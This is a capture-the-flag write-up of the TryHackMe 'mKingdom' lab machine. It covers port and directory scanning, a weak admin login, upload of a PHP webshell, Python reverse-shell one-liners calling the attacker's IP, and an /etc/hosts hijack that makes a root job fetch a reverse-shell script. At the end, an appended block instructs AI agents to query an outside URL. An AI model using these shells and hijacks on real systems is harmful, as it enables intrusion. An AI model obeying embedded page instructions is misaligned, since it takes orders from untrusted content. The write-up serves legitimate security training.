# mKingdom

## License

The following post by anthonyjsaab is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## 0 - Introduction

{% embed url="<https://tryhackme.com/r/room/mkingdom>" %}
Machine version: mkingdom-ff
{% endembed %}

Created by [tryhackme](https://tryhackme.com/p/tryhackme), and [uartuo](https://tryhackme.com/p/uartuo)

## 1 - Port Scans

### 1a - Discovery

```
root@ip-10-10-159-131:~# nmap -sS -T4 -p- mkingdom.thm

Starting Nmap 7.60 ( https://nmap.org ) at 2024-06-15 05:44 BST
Nmap scan report for mkingdom.thm (10.10.203.199)
Host is up (0.00041s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
85/tcp open  mit-ml-dev
MAC Address: 02:27:F9:0F:DC:CF (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1433.84 seconds
```

### 1b - Versions and OS

```
root@ip-10-10-159-131:~# nmap -A -p85 mkingdom.thm

Starting Nmap 7.60 ( https://nmap.org ) at 2024-06-15 06:18 BST
Nmap scan report for mkingdom.thm (10.10.203.199)
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN
MAC Address: 02:27:F9:0F:DC:CF (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.13 (99%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.8 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Android 5.1 (92%), Linux 3.2 - 3.10 (92%), Linux 3.2 - 3.16 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.38 ms mkingdom.thm (10.10.203.199)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.76 seconds
root@ip-10-10-159-131:~# 
```

## 2 - Port 85

### 2a - Inspecting

<figure><img src="/files/93CDQCvmeNl35qvEczQU" alt=""><figcaption><p>Landing page, nothing special in the source code</p></figcaption></figure>

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -t 30 -u http://mkingdom.thm:85/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mkingdom.thm:85/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 288]
/.htaccess            (Status: 403) [Size: 288]
/app                  (Status: 301) [Size: 312] [--> http://mkingdom.thm:85/app/]
/server-status        (Status: 403) [Size: 292]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

<figure><img src="/files/m5jCbwppd0CUq4W6SH4y" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UQZUJl1jZaWAqklbUzON" alt=""><figcaption><p>Landing page of the app (/app/castle)</p></figcaption></figure>

### 2b - Dead ends

#### 2bi - Maybe the CMS is flawed?

The source code of this page starts with the following:

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <link rel="stylesheet" type="text/css" href="/app/castle/concrete/themes/elemental/css/bootstrap-modified.css">
    <link href="/app/castle/application/files/cache/css/elemental/main.css?ts=1701235597" rel="stylesheet" type="text/css" media="all">    
<title>Home :: toad</title>

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.5.2"/>
<link rel="canonical" href="http://mkingdom.thm:85/app/castle/index.php">
<script type="text/javascript">
    var CCM_DISPATCHER_FILENAME = "/app/castle/index.php";
    var CCM_CID = 1;
    var CCM_EDIT_MODE = false;
    var CCM_ARRANGE_MODE = false;
    var CCM_IMAGE_PATH = "/app/castle/concrete/images";
    var CCM_TOOLS_PATH = "/app/castle/index.php/tools/required";
    var CCM_APPLICATION_URL = "http://mkingdom.thm:85/app/castle";
    var CCM_REL = "/app/castle";
    var CCM_ACTIVE_LOCALE = "en_US";
</script>
```

The CMS used appears to be concrete5 - 8.5.2. Searching for vulnerabilities for this particular CMS version does not yield useful results. It's Github repo <https://github.com/concretecms/concretecms/> does not show any commits that fixed some vulnerability.

#### 2bii - Maybe we can quickly upload a webshell?

The blog and the contact sections have inputs were we can upload files and/or add messages:

<figure><img src="/files/YEBti3zmbQarl5FRT1mC" alt=""><figcaption><p>Blog post. We can post a comment inside</p></figcaption></figure>

<figure><img src="/files/Z3H3l1JbRa4ZKhv3uCpp" alt=""><figcaption><p>Won't allow us to upload webshell. Fuzzed multiple extensions in vain. Adding a message echoes it back with HTML encoding</p></figcaption></figure>

<figure><img src="/files/3132uLi07IuilmbSK2se" alt=""><figcaption><p>Nothing interesting here since we don't know were these will be stored. Most probably not in a file but in DB</p></figcaption></figure>

#### 2biii - Maybe we have to do more directory busting?

Interesting results came up, but all of these were present in Concrete CMS's Github page. Thus, no added value here.

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -t 30 -u http://mkingdom.thm:85/app
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mkingdom.thm:85/app
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 292]
/.htpasswd            (Status: 403) [Size: 292]
/castle               (Status: 301) [Size: 319] [--> http://mkingdom.thm:85/app/castle/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
                                                                                
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -t 30 -u http://mkingdom.thm:85/app/castle
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mkingdom.thm:85/app/castle
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 299]
/.htpasswd            (Status: 403) [Size: 299]
/application          (Status: 301) [Size: 331] [--> http://mkingdom.thm:85/app/castle/application/]
/concrete             (Status: 301) [Size: 328] [--> http://mkingdom.thm:85/app/castle/concrete/]
/packages             (Status: 301) [Size: 328] [--> http://mkingdom.thm:85/app/castle/packages/]
/robots.txt           (Status: 200) [Size: 532]
/updates              (Status: 301) [Size: 327] [--> http://mkingdom.thm:85/app/castle/updates/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

### 2c - A painful mistake

The only working section I have not mentioned yet is the Login page:

<figure><img src="/files/NUgTwlPlzP5AHTnELgOM" alt=""><figcaption><p>Login page</p></figcaption></figure>

Immediately after finding this page (link available on landing page), I ran Burp's Intruder to brute force the password (we know the user is admin based on the blog post's author). However, my IP was quickly banned. Then, I sorta forgot about this page until I went out of leads. I then tried an obvious combination: admin admin. Didn't work. admin password? YES! WE ARE IN!

<figure><img src="/files/16cPL4qYOPmW6lOv0nwA" alt=""><figcaption><p>Dashboard of the admin user</p></figcaption></figure>

### 2d - Foothold

Now I knew what to do: I have to upload a PHP webshell.

I went into "System & Settings". Under the "Files" sections, we have a link to "Allowed File Types".

<figure><img src="/files/ixjBm0g36gtHzOh9enpr" alt=""><figcaption><p>We have to add PHP</p></figcaption></figure>

After adding PHP, I went to "Files" and uploaded [flozz/p0wny-shell](https://github.com/flozz/p0wny-shell).&#x20;

<figure><img src="/files/hbY3CrcwdwAlgOeePaRk" alt=""><figcaption><p>File Manager before uploading.</p></figcaption></figure>

<figure><img src="/files/OMwsPekilyRGzb6Uz5vk" alt=""><figcaption><p>Upload successful.</p></figcaption></figure>

We now go to the file's URL indicated above:

<figure><img src="/files/sI1Tx9vw1pLEAsnv5KvD" alt=""><figcaption><p>Voila! We have a foothold</p></figcaption></figure>

After taking a look at the /home directory, we notice that there are two accounts we can try to break into: toad and mario

## 3 - From www-data to toad

### 3a - Upgrading webshell to full shell

In the webshell, I ran this command built using revshells.com:

{% code overflow="wrap" %}

```
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.11.85.12",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
```

{% endcode %}

An nc listener catches the shell. Then a few well-known commands upgrades the shell

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.85.12] from (UNKNOWN) [10.10.188.161] 54358
$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
www-data@mkingdom:/var/www/html/app/castle/application/files/6317/1853/8445$ export TERM=xterm
<html/app/castle/application/files/6317/1853/8445$ export TERM=xterm         
www-data@mkingdom:/var/www/html/app/castle/application/files/6317/1853/8445$ ^Z
zsh: suspended  nc -lvnp 4444
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 4444

www-data@mkingdom:/var/www/html/app/castle/application/files/6317/1853/8445$ 

```

### 3b - Toad's password

I uploaded LinPEAS to the target machine and ran it. A particular output caught my eye:

```
╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rw-rw-r-- 1 root root 4149 Oct  2  2019 /var/www/html/app/castle/concrete/controllers/dialog/file/bulk/storage.php
-rw-rw-r-- 1 root root 5442 Oct  2  2019 /var/www/html/app/castle/concrete/controllers/single_page/dashboard/system/files/storage.php
-rw-rw-r-- 1 root root 6163 Oct  2  2019 /var/www/html/app/castle/concrete/single_pages/dashboard/system/files/storage.php
-rw-rw-r-- 1 root root 2774 Oct  2  2019 /var/www/html/app/castle/concrete/views/dialogs/file/bulk/storage.php

-rw-rw-rw- 1 www-data www-data 401 Nov 29  2023 /var/www/html/app/castle/application/config/database.php
            'database' => 'mKingdom',
            'password' => '--REDACTED--',
-rw-rw-r-- 1 root root 1428 Oct  2  2019 /var/www/html/app/castle/concrete/config/database.php
```

It had to be toad's password! And sure enough:

```
www-data@mkingdom:/tmp$ su toad
Password: 
toad@mkingdom:/tmp$
```

## 4 - From toad to mario

After much enumeration, I noticed an environment variable I am not familiar with: PWD\_token

```
toad@mkingdom:/tmp$ printenv
APACHE_PID_FILE=/var/run/apache2/apache2.pid
XDG_SESSION_ID=c2
SHELL=/bin/bash
APACHE_RUN_USER=www-data
TERM=xterm
USER=toad
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:
PWD_token=--REDACTED--
MAIL=/var/mail/toad
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
APACHE_LOG_DIR=/var/log/apache2
PWD=/tmp
LANG=en_US.UTF-8
APACHE_RUN_GROUP=www-data
HOME=/home/toad
SHLVL=2
LOGNAME=toad
LESSOPEN=| /usr/bin/lesspipe %s
XDG_RUNTIME_DIR=/run/user/1002
APACHE_RUN_DIR=/var/run/apache2
APACHE_LOCK_DIR=/var/lock/apache2
LESSCLOSE=/usr/bin/lesspipe %s %s
_=/usr/bin/printenv
```

PWD\_token seemed to be base64 encoded. After decoding it, it was gibberish. However, I sensed that it could possibly be mario's password. I tried it and it worked!

```
toad@mkingdom:/tmp$ su mario
Password: 
mario@mkingdom:/tmp$ 
```

## 5 - From mario to root

Here, privilege escalation was not easy at all. At first, I tried some enumerations like the following:

```
mario@mkingdom:/tmp$ sudo -l
[sudo] password for mario:                             
          
Matching Defaults entries for mario on mkingdom:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    pwfeedback

User mario may run the following commands on mkingdom:
    (ALL) /usr/bin/id
```

All of the classical privesc vectors were dead ends. Then, I tried to check for something only mario could do or own:

```
mario@mkingdom:/tmp$ ls -la /etc/ | grep mario
-rw-rw-r--   1 root mario     342 Jan 26 19:53 hosts
```

That was quite unusual! Why would we have write access to /etc/hosts? Inside, we can find:

```
mario@mkingdom:/tmp$ cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	mkingdom.thm
127.0.0.1	backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

This is very dangerous. It means that every app that relies on /etc/hosts to translate some address to 127.0.0.1 can be fooled to talk to us instead!

I tried this for starters:

```
www-data@mkingdom:/$ cat /etc/hosts 
127.0.0.1	localhost
10.11.85.12	mkingdom.thm
127.0.0.1	backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

I opened Wireshark on Kali, looked at the traffic of tun0 and waited for a bit, until:

<figure><img src="/files/OgIvJmQMO8GSoZoMgZcu" alt=""><figcaption></figcaption></figure>

Some unknown process on the target machine is now trying to contact us on port 85! The DNS hijacking worked!

When I opened an HTTP server on port 85, I received the connection again:

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.188.161 - - [16/Jun/2024 15:20:01] code 404, message File not found
10.10.188.161 - - [16/Jun/2024 15:20:01] "GET /app/castle/application/counter.sh HTTP/1.1" 404 -
```

{% endcode %}

I quickly created a Bash script that spawns a reverse shell to Kali:

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~/Downloads]
└─$ cat app/castle/application/counter.sh                                    
#!/bin/sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.85.12",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

{% endcode %}

And sure enough:

```
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.188.161 - - [16/Jun/2024 15:21:01] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
```

<figure><img src="/files/qc3xuvKiUvgu25Wtn5U9" alt=""><figcaption><p>Tada!</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctfs.anthonyjsaab.com/tryhackme/mkingdom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
